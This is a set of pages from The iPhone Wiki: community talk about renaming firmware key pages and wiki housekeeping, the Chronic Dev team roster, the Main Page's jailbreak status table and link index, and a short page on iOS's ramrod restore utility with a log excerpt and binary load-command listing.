*key pages: iPad 2 Wi-Fi (like [[Durango 8G4 (iPad 2 Wi-Fi)]]), total 5 existing pages
*key pages: iPad 2 GSM (like [[Durango 8G4 (iPad 2 GSM)]]), total 5 existing pages
*key pages: iPad 2 CDMA (like [[Durango 8G4 (iPad 2 CDMA)]]), total 5 existing pages
*key pages: iPad 2 Wi-Fi Rev A (nonexistent)
*key pages: iPad 3 Wi-Fi (nonexistent)
*key pages: iPad 3 CDMA (nonexistent)
*key pages: iPad 3 Global (nonexistent)
*key pages: iPad 4 Wi-Fi (nonexistent)
*key pages: iPad 4 GSM (nonexistent)
*key pages: iPad 4 Global (nonexistent)
*key pages: iPad Air Wi-Fi (nonexistent)
*key pages: iPad Air Cellular (nonexistent)
*key pages: iPad mini Wi-Fi (nonexistent)
*key pages: iPad mini GSM (nonexistent)
*key pages: iPad mini Global (nonexistent)
*key pages: iPad mini 2G Wi-Fi (nonexistent)
*key pages: iPad mini 2G Cellular (nonexistent)
The key pages would get moved without redirect and all references updated. The references should also be in this list above. Add it to the list if I forgot anything.
--[[User:Http|http]] ([[User talk:Http|talk]]) 15:07, 1 January 2014 (UTC)
::::Yes that is fine. I said the 10 a day to avoid a big flood, but I do not mind either way. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 15:13, January 1, 2014‎ (UTC)
::::Looks good. I amended the list to include the iPads as well. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:51, 1 January 2014 (UTC)
:::::So most of you seem to agree on the the generic change now. But what is missing is the exact naming. We have three variations still in discussion:
:::::#"iPhone 4 (3,1)"
:::::#"iPhone 4 (iPhone3,1)"
:::::#"iPhone 4 3,1"
:::::#"iPhone 4 iPhone3,1"
:::::I just noticed that we cannot use the round brackets, because this entire part is already enclosed in round brackets - otherwise we would have nested brackets and in grammar I think you have to use square brackets which are not allowed in MediaWiki. So this leaves us with #3 and #4. #3 looks silly without the brackets, so we probably have to use #4 as [[User:Dialexio|Dialexio]] suggested. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:55, 1 January 2014 (UTC)
::::::I agree with #4, looks better as I feel that #3 needs some sort of brackets if we used that. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]])
::::::Wow, time really flies when you sleep all day. I've missed a ''lot''. Ok. I'm happy we decided to use the firmware moniker instead of something else. Personally, I don't like #1 because it just looks weird IMO. In addition, #1 and #2 would require the use of brackets (<code>(iPhone 4 [3,1])</code>) which would require the use of <code><nowiki/></code> all over the place, and that will get not only ugly, but annoying. I agree #3 looks weird. However, #4 just looks redundent. I personally would like just <code>iPhone3,1</code>, but if I would have to put my vote on one of those last two, it would be #4. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 08:20, 2 January 2014 (UTC)
:::::::One last comment: We could also just use "iPhone3,1" (leaving the leading "iPhone 4" completely away). That would have two advantages and two disadvantages:
:::::::*+ shorter
:::::::*+ future-proof; if we ever decide to rename the rest as well, this is the way to name it
:::::::*- somehow inconsistent with non-ambiguous other key pages (although ambiguous and non-ambiguous pages are different now anyway)
:::::::*- less easy to understand from the name what device it is (but the iOS version is also not directly visible)
:::::::--[[User:Http|http]] ([[User talk:Http|talk]]) 11:10, 2 January 2014 (UTC)
::::::::To me, that makes it worse. Why can we not use the rounded "()" brackets? I mean, it will only be duplicated in the key page urls, in which if it must be, just do "iPhone 4 iPhone3,1". Does not seem too bad to me. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 11:18, 2 January 2014 (UTC)
::::::::::We ''don't want to'' use parenthesis because then we get double parenthesis (<code>Telluride 9A334 (iPhone 4 (3,1))</code>). We would have to use braces (<code>Telluride 9A334 (iPhone 4 [3,1])</code>), but MediaWiki chokes when there's braces in a link unless you use <code><nowiki/></code>; and that would mean ''everywhere'' there's a firmware link. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 13:19, 2 January 2014 (UTC)
::::::::That ''is'' what I suggested in my reply... As for your first disadvantage, it only applies to the iPads where Apple has gotten confusing. Actually, now that I think of that, option #4 above does look nice. However, I still don't like the redundency of having <code>iPhone</code> in there twice. And as I said before, options #1 and #3 just look weird. So we're stuck at either redundency or looking weird. But then again, it wouldn't be redundent for the non-existent iPad key page links where Apple decided to be annoying with their firmware monikers. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 13:19, 2 January 2014 (UTC)
:::::::::Could we not just use the parenthesis but just not in the key page URL's? I mean, "iPhone 4 (iPhone3,1)" but in the urls for key pages, <code>Telluride 9A334 (iPhone_4_iPhone3,1)</code>? That seems fine here. The underscores are currently there anyway. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 13:32, 2 January 2014 (UTC)
::::::::::This seems fine to me… Well, aside from the underscores. Other than that, we're actually already doing the same thing until the changes are implemented. (Key pages say "(iPhone 4 GSM)" while other parts of the wiki say "iPhone 4 (GSM model).") --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 18:05, 2 January 2014 (UTC)
::::::::I think that "iPhone 4 (iPhone3,1)" does look the nicest, and I don't really feel like it's redundant. I also like the idea of just saying 'iPhone3,1'. If either of those options doesn't work, it might be good to do something like "iPhone 4; iPhone3,1" or "iPhone 4 | iPhone3,1".--[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 16:46, 2 January 2014 (UTC)
:::::::::The underscores were stated due to the key page URL's use that. I did not mean use that throughout. Was just to give an example, [[User:Dialexio|Dialexio]].
::::::::::So we have to decide between
::::::::::#"Telluride 9A334 (iPhone 4 iPhone3,1)" (name on link could be "Telluride 9A334 (iPhone 4 [iPhone3,1])" or whatever fits best in the context)
::::::::::#"Telluride 9A334 (iPhone3,1)"
::::::::::I would prefer #2 (for advantages/disadvantages see list above), but could also live with the other one. Votes? --[[User:Http|http]] ([[User talk:Http|talk]]) 22:06, 2 January 2014 (UTC)

== Key page template ==
I actually like the idea of a database to an extent. I bet I could put together an extension that creates a [[Special:SpecialPages|special page]] that allows read access to everyone (and r/w access to users). Any edits to the key "pages" wouldn't cause a [[Special:RecentChanges|recent changes]] log. If we ever needed to update the layout, we would just need to update the extension. We could even have an API.
The only limitation is that updates to the extension would require either [[User:geohot|George]] or [[User:Dialexio|Alex]] needing to upload the fix. If we were to set up an external site, then all links to it would need to be wrapped with <code>...</code>.
Maybe a simple extension that takes links and redirects you to the external site? That could work. Like, we would have a link to, say, <code>[[<nowiki/>Special:Keys/iPad1,1/9A405]]</code> which would give an HTTP <code>301 Moved Permanently</code> header to, say, <code><nowiki>http://ioskeys.com/iPad1,1/9A405</nowiki></code>. Granted, someone would have to pay for the domain, but it would solve this problem. I may be able to pay for the domain if I make enough money by the time I finish writing everything. Any opposition? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 16:48, 21 November 2013 (UTC)
:I do not like the idea. I like the idea of the database to a degree, but I think that the pages should remain on this wiki. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 17:03, 21 November 2013 (UTC)
::I don't see this solving any problem— the backlash against changing the key page template was because of (unnecessary?) changes to the arguments, and the frequency of how often such changes were being proposed/applied. How would a database prevent it? For instance, let's say the database columns are all decided on. Suddenly, it's decided that SHA-1 hashes should be added as well, or perhaps "VFDecryptKey" will be renamed to "FSKey." People submitting keys would still be bothered with having to adjust for those changes. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:40, 21 November 2013 (UTC)
:::That with the database is something I'll implement anyway (if not someone else is faster, as I'm quite busy). I just threw that in here as it might solve the problem of the frequent template updates (which is/was wrong anyway). From there it would be easy to create the VFDecrypt page with an overview link or lists of missing keys and that stuff, so the wiki would not need any direct links. But it would mean that we either completely remove all keys here from the wiki and embrace that solution or have them still duplicate (which then doesn't solve the problem). Dialexio: renaming columns can be handled without interface changes, but that's another topic. So let's forget about this database thing for now and we can discuss again when I have something. We certainly don't want to add extensions for that. So back to the discussion about the renaming: If I understood this correctly, you only want to rename A5+ devices and therefore no key pages would be affected. Is my understanding correct? --[[User:Http|http]] ([[User talk:Http|talk]]) 22:08, 21 November 2013 (UTC)
::::As long as the pages stay on this wiki, I do not mind. Although, a database could be pointless as with only 50 more pages to edit for the new format, there is no planned new format/changes again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:16, 21 November 2013 (UTC)
::::About the renaming, that is correct; I'm only interested in changing the cellular labels on A5/+ devices. (Well, the iPad 2 can remain as-is.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 00:02, 22 November 2013 (UTC)
:::::Oh, well that would just make things more complicated/inconsistent. We should do all or none. About the template idea, there is also no need as it is not likely we will change the format again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:35, 22 November 2013 (UTC)
::::::Do we really need to CHANGE THE FORMAT 50 TIMES IN A ROW? The old one before everything was messed with worked fine enough. [[User:Winocm|Winocm]] ([[User talk:Winocm|talk]]) 18:22, 27 November 2013 (UTC)
:::::::It was actually one change, which was completed. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:32, 27 November 2013 (UTC)

==Login prompt revision suggestion==
I wrote a suggestion here: [[MediaWiki talk:Loginprompt]] (since I don't have permission to edit [[MediaWiki:Loginprompt]] directly) - I'd be interested in whether it sounds like a good idea to other people. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 01:00, 8 October 2013 (UTC)

==Homepage suggestions==
Under "Application Development", what about linking to [http://iphonedevwiki.net/index.php/Main_Page iPhoneDevWiki]? It's also a community-edited technical resource, and it links to this wiki. It could be helpful to add a little more detail to "Get [[up to speed]] in the community.", like this: "Get [[up to speed]] in the community - learn about how jailbreaks work." Under "Definitions", it could be helpful to list all the firmware tags in one line or sub-list, similar to how Jailbreak is organized next to Tethered jailbreak and Untethered jailbreak, both to save space and help readers understand the list. --[[User:Britta|Britta]] ([[User talk:Britta|talk]]) 23:01, 20 October 2013 (UTC)
:A link to the iPhoneDevWiki sounds good. I wonder if we should have an "External Links" or "Other Resources" section to include links to other sites (such as the [http://blog.iphone-dev.org/ iPhone Dev Team blog]) though. As for the "Up to Speed" page, I feel like the entire page could be reworked a bit— and perhaps even receive a new, clearer name ([[Introduction]]? [[Preface]]? Or something else?)— the current name makes it sound like it's for people that last paid attention to jailbreaking when the App Store didn't exist. And yeah, moving the IMG3 tags to a sub-list sounds like a really good idea. (Admittedly, I actually don't care for its inclusion in the first place, but that's just a personal preference.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 00:10, 21 October 2013 (UTC)
::There's already [[Useful Links]] with some links to other core community resources (which could be updated and rearranged) - I was just thinking that it'd be especially useful to link to iPhoneDevWiki prominently since it's likely for TheiPhoneWiki visitors to also be interested in relatively-organized technical information about development. Changing the name of "Up to Speed" sounds fine to me too - that page didn't get much attention since 2008 until I sort of commandeered it to serve as an "intro to jailbreaking" page. :) It could be renamed "getting started", as in "how to get started on learning about research into iOS devices, especially security research (such as jailbreaks)". [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:31, 21 October 2013 (UTC)
Also I'd love to see a dedicated section for "Good tasks for new editors", where we could maintain a list of relatively easy/straightforward suggested edits that wouldn't require vast technical knowledge, like updating that links page. Where would that go? Add it as a sub-section of [[The iPhone Wiki:Current events]] and link that section from the homepage or something? Or make a new page? [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:40, 21 October 2013 (UTC)

==What is 0x5265c384 in the boot process?==
Does anybody know where <code>0x5265c384</code> points to in the boot process? I haven't been able to find anything on it. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 20:14, 23 October 2013 (UTC)

==License for contributions==
This wiki has never had an official license for contributions. Now, IANAL, but IIRC, this means that you can't use ''anything'' posted here unless it qualifies as fair-use. What I propose is that we set a license and add a notice that states that any contributions after a set date are to be licensed under that license (that's kindof a mouthful). I think we should use the [http://creativecommons.org/licenses/by-sa/3.0/ CC-by-SA 3.0] as [[wikipedia:Wikipedia:Text of Creative Commons Attribution-ShareAlike 3.0 Unported License|Wikipedia uses it]], but that's just me. Any ideas? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 19:53, 9 November 2013 (UTC)
:Well, the edit info already says all this:
Please note that all contributions to The iPhone Wiki may be edited, altered, or
removed by other contributors. If you do not want your writing to be edited mercilessly,
then do not submit it here.
You are also promising us that you wrote this yourself, or copied it from a public
domain or similar free resource (see The [[:The iPhone Wiki:Copyrights|iPhone Wiki:Copyrights]] for details). '''Do not'''
'''submit copyrighted work without permission!'''
For me, that's enough. I don't need a 50 page license. But if you want to formalize this more, go ahead. --[[User:Http|http]] ([[User talk:Http|talk]]) 20:35, 9 November 2013 (UTC)
:Sounds good. It's good practice to have an official license, just in case any disputes happen someday, and to ensure that it's OK to copy text over to Wikipedia (for example). [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 21:32, 9 November 2013 (UTC)

==Future plans==
Now that I have SSH access, I've begun working on making several, somewhat-overdue changes to the wiki. The Renameuser extension was reinstated, so admins can now rename accounts. If you have another account, that can also get merged into your current account. If you happen to get locked out from both your account and the email used is no longer active, I can run a script to reset your password. I've also begun implementing a very noticeable change— as users of the Vector skin have noticed, the iOS 6-based theming is gone. It's a semi-temporary move though; it's going into its own skin, because… you know, choice is cool. People who like the Vector skin may not have liked the iOS theming, especially since IE 9 and lower didn't display it completely accurately. Therefore, it's going into its own theme. Once that's done I also plan on making a separate iOS 7-based skin. If there are any further thoughts or suggestions on how to improve the wiki, do let me know! --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 22:18, 9 November 2013 (UTC)

==Banner Replacement?==
I kinda feel like the banner on the front page is getting a little stale, so I'm interested in seeing it replaced. I tossed a proposal [https://twitter.com/Draxelf/status/408295008794845184 on Twitter] a couple of days ago (which is admittedly plain, but Myriad Set…), but I haven't heard any opinions on replacing the banner. Are there any thoughts on this matter? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:42, 6 December 2013 (UTC)
:Or, [http://imgur.com/wJFqPl1 this]. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:22, 6 December 2013 (UTC)
:Looks nice in Myriad! More professional. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 04:01, 7 December 2013 (UTC)

==Date Format==
I see that [[User:IAdam1n|iAdam1n]] started to unify the date formats in this wiki. While I like this to be consistent, actually we should've talked about what format to use before changing it. I like the d_mon_yyyy format though. I also saw that he removed the <code>&nbsp;</code> between the date parts on the [[iFaith]] page that I added once purposefully. The reason was that when making the browser window small (or on the iPhone) that the date wraps to two lines, which is almost always undesired. The question is if we should do that everywhere too? Additionally, as we now seem to have a "standard" here, we should document it, so that new users know what format to use. -- [[User:Http|http]] ([[User talk:Http|talk]]) 17:42, 30 December 2013 (UTC)
:I just made it consistent. If you want the <code>&nbsp;</code> back, feel free to add it. I removed it as it did nothing (previewing on OS X). We should use the format I used throughout the wiki and not Dec 23, 2013 etc. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:32, 30 December 2013 (UTC)

Chronic Dev (team)

2014-01-02T21:56:20Z

Http: Undo revision 38524 by Spydar007 (talk) - since when are you member of Chronic Dev?

{{DISPLAYTITLE:Chronic Dev Team}}
'''Chronic Dev''' is a team of hackers, including loosely affiliated members and members who are in other teams as well (such as the collaborative effort called the [[Dream Team]]). Their projects have included [[iRecovery|iRecovery (libirecovery)]], [[Greenpois0n (toolkit)|greenpois0n]], and [[GenPass]].

== Official Members ==
*[[User:DHowett|DHowett]]
*[[User:Jaywalker|Jaywalker]]
*[[User:Semaphore|semaphore]]
*[[User:Westbaer|westbaer]]

== Former Members ==
*[[AriX]]
*[[User:ChronicDev|chronic]]
*[[CPICH]]
*[[pod2g]]
*[[User:posixninja|p0sixninja]]

== Associates ==
*[[bugout]]
*[[User:Bushing|bushing]]
*[[c1de0x]]
*[[User:Chpwn|chpwn]]
*[[User:Comex|comex]]
*[[User:Geohot|geohot]]
*[[ius]]
*[[User:Jan0|jan0]]
*[[User:lilstevie|Lilstevie]]
*[[User:MuscleNerd|MuscleNerd]]
*[[User:NerveGas|NerveGas]]
*[[pimskeks]]
*[[User:Planetbeing|planetbeing]]
*[[psp250]]
*[[User:Jan0|jan0]]
*[[User:pumpkin|pumpkin]]
*[[saurik]]

==Links==
*[http://greenpois0n.com/ Greenpois0n Blog]
*[http://chronic-dev.org/blog/ Chronic Dev Blog]
*[https://github.com/Chronic-Dev GitHub]
*[http://chronicdev.googlecode.com/ Chronic Dev google code]
*[http://twitter.com/chronicdevteam Chronic Dev Team on Twitter]
[[Category:Hackers]]
[[Category:Teams]]

Main Page

2014-01-02T21:55:00Z

Http: Undo revision 38523 by Spydar007 (talk) - you're not a hacker and not among the top 10

[[File:Iptwiki.png|center]]
{{:Main Page/Welcome}}

== Jailbreak/Unlock Status ==

More information, including information for older devices, is available on the [[Firmware]] and [[Jailbreak]] pages.
{| class="wikitable" style="font-size:1em; width:100%;"
|-
! style="width:15%;" | [[Models|Device]]
! [[k66ap|Apple TV 2G]]
! [[Apple TV 3G]]
! [[iPhone 4]]
! [[iPad 2]] and newer [[iPad mini 1G]] and newer [[n94ap|iPhone 4S]] and newer [[iPod touch 5G]]
|-
! Latest [[firmware]]
| colspan="2" | 6.0.2 (Build 11B554a)
| colspan="2" | 7.0.4 (Build 11B554a)
|-
! [[Jailbreak]] available?
| colspan="2" {{no}}
| colspan="2" {{yes}}
|-
! Software [[unlock]] hack available? (if carrier locked)
| colspan="2" {{n/a}}
| {{partial|}} GSM model - Requires baseband [[01.59.00]]
| {{no}}
|}

{| style="width:100%"
|-
| style="width:50%; text-align:left; vertical-align:text-top;" |
== Software ==
* [[Apple Internal Apps]]
* [[:Category:File Formats|File formats]]
* [[/|Filesystem]]
* [[Firmware]]
** [[Beta Firmware]]
** [[OTA Updates]]
* [[iTunes]]
** [[iTunes Errors]]
** [[iTunes Modes]]
** [[MobileDevice Library]]
* [[Keys]]
** [[AES Keys]]
** [[CERT|Apple Certificate]]
** [[Baseband RSA Keys|RSA Keys]]
** [[Baseband TEA Keys|TEA Keys]]
** [[Firmware Keys]]
*** [[Decrypting Firmwares]]
** [[GID Key]]
** [[NCK]]
* [[Protocols]]
** [[Baseband Bootrom Protocol]]
** [[DFU (Protocol)|DFU]]
** [[Interactive Mode|Baseband Bootloader Protocol]]
** [[Normal Mode]]
** [[Recovery Mode (Protocols)|Recovery Mode]]
** [[Restore Mode]]
* [[System Log|System Log (syslog)]]

==== [[:Category:Jailbreaks|Jailbreak Software]] ====
* [[Absinthe]]
* [[blackra1n]]
* [[Corona]]
* [[evasi0n]]
* [[evasi0n7]]
* [[Greenpois0n (jailbreak)|greenpois0n]]
* [[JailbreakMe]]
* [[limera1n]]
* [[p0sixspwn]]
* [[PwnageTool]]
* [[redsn0w]]
* [[Rocky Racoon]]
* [[Seas0nPass]]
* [[sn0wbreeze]]
* [[Spirit]]
* [[unthredera1n]]

==== [[:Category:Patches|Patches]] ====
* [[Kernel Patches|Kernel]]
** [[AMFI Binary Trust Cache Patch]]
** [[PE i can has debugger Patch]]
** [[Sandbox Patch]]
** [[Vm map enter Patch]]
** [[Vm map protect Patch]]
* [[:Category:Ramdisk Patches|Ramdisk]]: [[ASR]]

==== [[:Category:Exploits|Vulnerabilities and Exploits]] ====
* [[0x24000 Segment Overflow]] (24kpwn)
* [[BPF STX Kernel Write Exploit]]
* [[CVE-2013-0964]]
* [[HFS Heap Overflow]]
* [[HFS Legacy Volume Name Stack Buffer Overflow]] (feedface)
* [[Incomplete Codesign Exploit]]
* [[IOSurface Kernel Exploit]]
* [[Limera1n Exploit]]
* [[Malformed CFF Vulnerability]]
* [[MobileBackup Copy Exploit]]
* [[ndrv_setspec() Integer Overflow]]
* [[Packet Filter Kernel Exploit]]
* [[Racoon String Format Overflow Exploit]]
* [[SHA-1 Image Segment Overflow]] (SHAtter)
* [[usb_control_msg(0x21, 2) Exploit]]
* [[usb_control_msg(0xA1, 1) Exploit]] (steaks4uce)

====Various Software====
* [[Cydia.app|Cydia]]
* [[EDA]]
* [[iDroid]]
* [[iFaith]]
* [[iPhone Tracker]]
* [[SemiRestore]]
* [[TinyUmbrella]]

| style="width:50%; text-align:left; vertical-align:text-top;" |
== Hardware ==
==== Devices ====
{{see also|Models|Prototypes}}
* [[iPhone]]
** iPhone ([[m68ap]])
** iPhone 3G ([[n82ap]])
** iPhone 3GS ([[n88ap]])
** [[iPhone 4]] ([[n90ap]], [[n90bap]], [[n92ap]])
** iPhone 4S ([[n94ap]])
** [[iPhone 5]] ([[n41ap]], [[n42ap]])
** [[iPhone 5c]] ([[n48ap]], [[n49ap]])
** [[iPhone 5s]] ([[n51ap]], [[n53ap]])
* [[iPod touch]]
** iPod touch ([[n45ap]])
** iPod touch 2G ([[n72ap]])
** iPod touch 3G ([[n18ap]])
** iPod touch 4G ([[n81ap]])
** [[iPod touch 5G]] ([[n78ap]], [[n78aap]])
* [[iPad]]
** iPad ([[k48ap]])
** [[iPad 2]] ([[k93ap]], [[k94ap]], [[k95ap]], [[k93aap]])
** [[iPad 3]] ([[j1ap]], [[j2ap]], [[j2aap]])
** [[iPad 4]] ([[p101ap]], [[p102ap]], [[p103ap]])
** [[iPad Air]] ([[j71ap]], [[j72ap]])
* [[iPad mini]]
** [[iPad mini 1G]] ([[p105ap]], [[p106ap]], [[p107ap]])
** [[iPad mini 2G]] ([[j85ap]], [[j86ap]])
* [[Apple TV]]
** Apple TV 2G ([[k66ap]])
** [[Apple TV 3G]] ([[j33ap]], [[j33iap]])

==== [[Application Processor]]s ====
* [[S5L8900]] ([[m68ap|iPhone 2G]], [[n45ap|iPod touch 1G]], [[n82ap|iPhone 3G]])
* [[S5L8720]] ([[n72ap|iPod touch 2G]])
* [[S5L8920]] ([[n88ap|iPhone 3GS]])
* [[S5L8922]] ([[n18ap|iPod touch 3G]])
* [[S5L8930]] A4 ([[k48ap|iPad]], [[iPhone 4]], [[n81ap|iPod touch 4G]], [[k66ap|Apple TV 2G]])
* [[S5L8940]] A5 ([[iPad 2]], [[n94ap|iPhone 4S]])
* [[S5L8942]] A5 Rev A ([[j33ap|Apple TV 3G]], [[k93aap|iPad 2 Rev A]], [[iPod touch 5G]], [[iPad mini 1G]])
* [[S5L8945]] A5X ([[iPad 3]])
* [[S5L8947]] A5 Rev B ([[j33iap|Apple TV 3G Rev A]])
* [[S5L8950]] A6 ([[iPhone 5]], [[iPhone 5c]])
* [[S5L8955]] A6X ([[iPad 4]])
* [[S5L8960]] A7 ([[iPhone 5s]], [[iPad mini 2G]])
* [[S5L8965]] A7 Variant ([[iPad Air]])

==== [[Baseband Device]]s ====
* [[S-Gold 2|PMB8876 or S-Gold 2]] ([[m68ap|iPhone]])
* [[X-Gold 608|PMB8878 or X-Gold 608]] ([[n82ap|iPhone 3G]], [[n88ap|iPhone 3GS]], [[k48ap|iPad]])
* [[XMM 6180|XMM6180 or X-Gold 618]] ([[iPhone 4]] (GSM models), [[k94ap|iPad 2 GSM]])
* [[MDM6600]] ([[n92ap|iPhone 4 CDMA]], [[k95ap|iPad 2 CDMA]])
* [[MDM6610]] ([[n94ap|iPhone 4S]])
* [[MDM9x00]] ([[iPad 3]])
* [[MDM9615]] ([[iPhone 5]], [[iPad 4]], [[iPad mini 1G]], [[iPhone 5c]], [[iPhone 5s]], [[iPad Air]], [[iPad mini 2G]])

==== [[Motion Processor|Motion Co-processors]] ====
* [[LPC18A1]] M7 ([[iPhone 5s]], [[iPad Air]], [[iPad mini 2G]])

==== WLAN/[[Bluetooth]] ====
* [[Marvell 88x8686]]
* [[BlueCore 4]]
* [[BlueCore 6]]
* [[BCM4325]]
* [[BCM4329]]
* [[BCM4330]]
* [[BCM4334]]
* [[BCM43342]]

==== [[Compass.app|Compass]] ====
* [[AKM8973]]
* [[AKM8975]]
* [[AK8963]]

==== Other ====
* [[Accelerometer]]
* [[Gyroscope]]: [[AGD1 2022 FP6AQ]]
* Connectors: [[30-pin Connector|30-pin]], [[Lightning Connector|Lightning]]
|}

{| style="width:100%"
|-
| style="width:50%; text-align:left; vertical-align:text-top;" |
== Development ==
==== [[:Category:Hackers|iPhone Hackers]] ====
* [[User:comex|comex]]
* [[User:geohot|geohot]]
* [[User:MuscleNerd|MuscleNerd]]
* [[User:planetbeing|planetbeing]]
* [[User:posixninja|posixninja]]
* [[User:pod2g|pod2g]]

==== iPhone Hacker Teams ====
* [[Chronic Dev (team)|Chronic Dev]]
* [[iPhone Dev Team]]
* [[Dream Team]]
* [[Evad3rs|evad3rs]]

==== Application Development ====
* [[Apple Certification Process]]
* [[Bypassing iPhone Code Signatures]]
* [[Distribution Methods]]
* [[/System/Library/Frameworks|Frameworks]]
* [[MobileDevice Library]]
* [[Mobile Substrate]]
* [[Toolchain]] (Includes tutorials)
* [[Toolchain 2.0]] (Includes tutorials)
* [http://iphonedevwiki.net iPhoneDevWiki]

==== Application Copy Protection ====
* [[Application Structure and Signatures]]
* [[Bugging Debuggers]]
* [[Copy Protection Overview]]
* [[Defeating Cracks]]
* [[Mach-O Loading Process]]

| style="width:50%; text-align:left; vertical-align:text-top;" |
== Help ==
==== Guides ====
* [[Tutorials]]
* [[Useful Links]]

==== Definitions ====
* [[Activation]] and [[Hacktivation]]
* [[ASLR]]
* [[Baseband Device|Baseband]]
* [[Baseband Bootloader|Bootloader]]
* [[Bootchain]]
* [[Bootrom]] / [[VROM]]
* [[Bricked]]
* [[CHIPID]]
* [[DFU Mode]]
* [[Failbreak]]
* [[iBEC]]
* [[iBoot (Bootloader)|iBoot]]
* [[iBSS]]
* [[IMG3 File Format|IMG3]] tags
** [[BORD]]
** [[CERT]]
** [[CHIP]]
** [[CPID]]
** [[DATA]]
** [[ECID]]
** [[KBAG]]
** [[PROD]]
** [[SDOM]]
** [[SEPO]]
** [[SHSH]]
** [[TYPE]]
** [[VERS]]
* [[Jailbreak]]
** [[Tethered jailbreak]]
** [[Untethered jailbreak]]
* [[Kernel]]
* [[launchd]]
* [[LLB]]
* [[NAND]]
* [[NOR]]
* [[NORID]]
* [[Unlock]]
* [[Userland]]
|}
__NOTOC____NOEDITSECTION__

Ramrod

2014-01-02T11:40:43Z

Http: mention application location

'''ramrod''' is an iOS command line utility that is involved in firmware update and restore procedure of iOS devices at least since iOS 6.

There is not much known about its functionality or usage except that it is mentioned in ~/Library/Logs/iPhone Updater Logs (on OSX) or [Username folder]\Application Data\Apple Computer\iTunes\iPhone Updater Logs (on Windows) in case of some unsuccessful restores / updates.

[[ramrod]] is contained in the ramdisk in H6SURamDisk.dmg (which is in <code>/usr/standalone/update/ramdisk/</code> folder on 7.0.4 iPhone5s) and there in <code>/usr/libexec/ramrod/</code>. You just have to get rid of the 1st 0x1b (27) bytes to make the dmg readable.

<pre>
0: RamrodErrorDomain/3ec: update_baseband: failed to perform next stage

1: BBUpdater/10

unable to convert ramrod error 1004

==== end of device restore output ====

2013-01-16 01:05:19.000 iTunes[1073:12e2b]: AMRAuthInstallDeletePersonalizedBundle

2013-01-16 01:05:19.000 iTunes[1073:12e2b]: <Restore Device 0x7f8fa705ac30>: Restore failed (result = -1)

2013-01-16 01:05:19.000 iTunes[1073:12f07]: iTunes: Restore error 4294967295
</pre>

<pre>
./jtool -l /Volumes/ramdisk/usr/libexec/ramrod/ramrod
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
LC 01: LC_SEGMENT_64 Mem: 0x100000000-0x100104000 __TEXT
0x0000000100002e48-0x000000010009dba8 __TEXT.__text
0x000000010009dba8-0x000000010009f078 __TEXT.__stubs
0x000000010009f078-0x00000001000a0524 __TEXT.__stub_helper
0x00000001000a0524-0x00000001000b2e50 __TEXT.__gcc_except_tab__TEXT
0x00000001000b2e50-0x00000001000eb44c __TEXT.__const
0x00000001000eb44c-0x00000001001005e8 __TEXT.__cstring
0x00000001001005e8-0x0000000100103ff4 __TEXT.__unwind_info
LC 02: LC_SEGMENT_64 Mem: 0x100104000-0x10011c000 __DATA
0x0000000100104000-0x00000001001041f0 __DATA.__got
0x00000001001041f0-0x0000000100104fd0 __DATA.__la_symbol_ptr
0x0000000100104fd0-0x0000000100105038 __DATA.__mod_init_func
0x0000000100105040-0x000000010010b950 __DATA.__const
0x000000010010b950-0x000000010010dfe0 __DATA.__data
0x000000010010dfe0-0x0000000100111a00 __DATA.__cfstring
0x0000000100111a00-0x0000000100111fe0 __DATA.__common
0x0000000100111fe0-0x000000010011b448 __DATA.__bss
LC 03: LC_SEGMENT_64 Mem: 0x10011c000-0x100144000 __LINKEDIT
LC 04: LC_DYLD_INFO_ONLY
LC 05: LC_SYMTAB Symbol table is at offset 0x123890, with 1788 entries
LC 06: LC_DYSYMTAB
LC 07: LC_LOAD_DYLINKER /usr/lib/dyld
LC 08: LC_UUID UUID: D8DC8A3E-CF0F-31C8-ADBA-2C6A1891952F
LC 09: LC_VERSION_MIN_IPHONEOS Minimum iOS version: 7.0.0
LC 10: LC_SOURCE_VERSION Source Version: 1021.1.28.0.0
LC 11: LC_MAIN Entry Point: 0x5d90 (Mem: 100005d90)
LC 12: LC_LOAD_DYLIB /usr/lib/libz.1.dylib
LC 13: LC_LOAD_DYLIB /System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguration
LC 14: LC_LOAD_DYLIB /System/Library/PrivateFrameworks/IOSurface.framework/IOSurface
LC 15: LC_LOAD_DYLIB /usr/lib/libIOAccessoryManager.dylib
LC 16: LC_LOAD_DYLIB /System/Library/PrivateFrameworks/IOMobileFramebuffer.framework/IOMobileFramebuffer
